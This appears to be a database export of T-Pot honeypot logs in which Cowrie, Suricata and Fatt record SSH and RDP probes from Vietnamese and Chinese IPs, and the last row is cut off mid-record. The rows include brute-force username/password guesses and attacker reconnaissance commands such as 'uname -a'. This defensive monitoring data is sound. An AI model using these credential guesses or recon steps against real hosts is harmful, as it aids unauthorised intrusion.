28136	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:16:10.000164+03	2021-09-20 14:30:02.430553+03	{"_id": "ggbrAnwBvYTbRNuEpiwR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:15:08.418305+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1409236437066241, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 50255, "timestamp": "2021-09-20T11:16:10.000164Z", "@timestamp": "2021-09-20T11:16:10.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28139	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:07.866146+03	2021-09-20 14:30:02.433555+03	{"_id": "bQbrAnwBvYTbRNuEnyyG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56938, "timestamp": "2021-09-20T11:16:07.866146", "@timestamp": "2021-09-20T11:16:07.866Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28140	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:07.861292+03	2021-09-20 14:30:02.43555+03	{"_id": "dgbrAnwBvYTbRNuEoCxY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:56938 (192.168.176.2:22) [session: 7f690ff911ad]", "session": "7f690ff911ad", "@version": "1", "protocol": "ssh", "src_port": 56938, "dest_port": 22, "timestamp": "2021-09-20T11:16:07.861292Z", "@timestamp": "2021-09-20T11:16:07.861Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28141	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:08.578827+03	2021-09-20 14:30:02.437523+03	{"_id": "cQbrAnwBvYTbRNuEoCxY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [mark/mark] failed", "session": "029bbe8e25de", "@version": "1", "password": "mark", "username": "mark", "timestamp": "2021-09-20T11:16:08.578827Z", "@timestamp": "2021-09-20T11:16:08.578Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28142	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:16:08.686892+03	2021-09-20 14:30:02.438553+03	{"_id": "cwbrAnwBvYTbRNuEoCxY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ffcfecd89d42", "@version": "1", "duration": 2.896315574645996, "timestamp": "2021-09-20T11:16:08.686892Z", "@timestamp": "2021-09-20T11:16:08.686Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28143	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:08.159686+03	2021-09-20 14:30:02.43956+03	{"_id": "eAbrAnwBvYTbRNuEoCxY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [software/software] failed", "session": "1c8de958179b", "@version": "1", "password": "software", "username": "software", "timestamp": "2021-09-20T11:16:08.159686Z", "@timestamp": "2021-09-20T11:16:08.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28144	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:16:07.891248+03	2021-09-20 14:30:02.440553+03	{"_id": "cgbrAnwBvYTbRNuEoCxY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 12 seconds", "session": "53a9145b852b", "@version": "1", "duration": 12.507386207580566, "timestamp": "2021-09-20T11:16:07.891248Z", "@timestamp": "2021-09-20T11:16:07.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28145	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:08.532908+03	2021-09-20 14:30:02.442553+03	{"_id": "dAbrAnwBvYTbRNuEoCxY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:08.532908Z", "@timestamp": "2021-09-20T11:16:08.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28146	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:08.53359+03	2021-09-20 14:30:02.443524+03	{"_id": "dQbrAnwBvYTbRNuEoCxY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:08.533590Z", "@timestamp": "2021-09-20T11:16:08.533Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28147	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:09.804768+03	2021-09-20 14:30:02.444523+03	{"_id": "fQbrAnwBvYTbRNuEpCxB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "81.71.17.12", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.3103334903717041, "duplicate": true, "timestamp": "2021-09-20T11:16:09.804768Z", "@timestamp": "2021-09-20T11:16:09.804Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28148	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:09.494521+03	2021-09-20 14:30:02.445553+03	{"_id": "gAbrAnwBvYTbRNuEpCxB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:09.494521Z", "@timestamp": "2021-09-20T11:16:09.494Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28149	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:16:08.159216+03	2021-09-20 14:30:02.446553+03	{"_id": "bgbrAnwBvYTbRNuEnyyG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 56938, "dest_port": 22, "timestamp": "2021-09-20T11:16:08.159216", "@timestamp": "2021-09-20T11:16:08.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28150	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:07.864022+03	2021-09-20 14:30:02.448554+03	{"_id": "bwbrAnwBvYTbRNuEoCxY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7f690ff911ad", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:16:07.864022Z", "@timestamp": "2021-09-20T11:16:07.864Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28151	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:08.130213+03	2021-09-20 14:30:02.449558+03	{"_id": "dwbrAnwBvYTbRNuEoCxY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "81.71.17.12", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.566706657409668, "duplicate": true, "timestamp": "2021-09-20T11:16:08.130213Z", "@timestamp": "2021-09-20T11:16:08.130Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28152	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:09.495063+03	2021-09-20 14:30:02.451524+03	{"_id": "ewbrAnwBvYTbRNuEpCxB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:09.495063Z", "@timestamp": "2021-09-20T11:16:09.495Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28153	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:09.800174+03	2021-09-20 14:30:02.452553+03	{"_id": "fAbrAnwBvYTbRNuEpCxB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/vertex25] failed", "session": "7f690ff911ad", "@version": "1", "password": "vertex25", "username": "admin", "timestamp": "2021-09-20T11:16:09.800174Z", "@timestamp": "2021-09-20T11:16:09.800Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28154	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:19.255522+03	2021-09-20 14:30:02.453523+03	{"_id": "rgbrAnwBvYTbRNuEyyxZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:57228 (192.168.176.2:22) [session: 73f2ce88e011]", "session": "73f2ce88e011", "@version": "1", "protocol": "ssh", "src_port": 57228, "dest_port": 22, "timestamp": "2021-09-20T11:16:19.255522Z", "@timestamp": "2021-09-20T11:16:19.255Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28155	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:19.258508+03	2021-09-20 14:30:02.454524+03	{"_id": "qQbrAnwBvYTbRNuEyyxX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "73f2ce88e011", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:16:19.258508Z", "@timestamp": "2021-09-20T11:16:19.258Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28166	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:16:20.141635+03	2021-09-20 14:30:02.468553+03	{"_id": "swbrAnwBvYTbRNuEzSwm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:16:19.732254+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 984494240902238, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 62112, "timestamp": "2021-09-20T11:16:20.141635Z", "@timestamp": "2021-09-20T11:16:20.141Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28156	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:16:20.070814+03	2021-09-20 14:30:02.455553+03	{"_id": "tQbrAnwBvYTbRNuEzSwm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:16:19.732254+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, 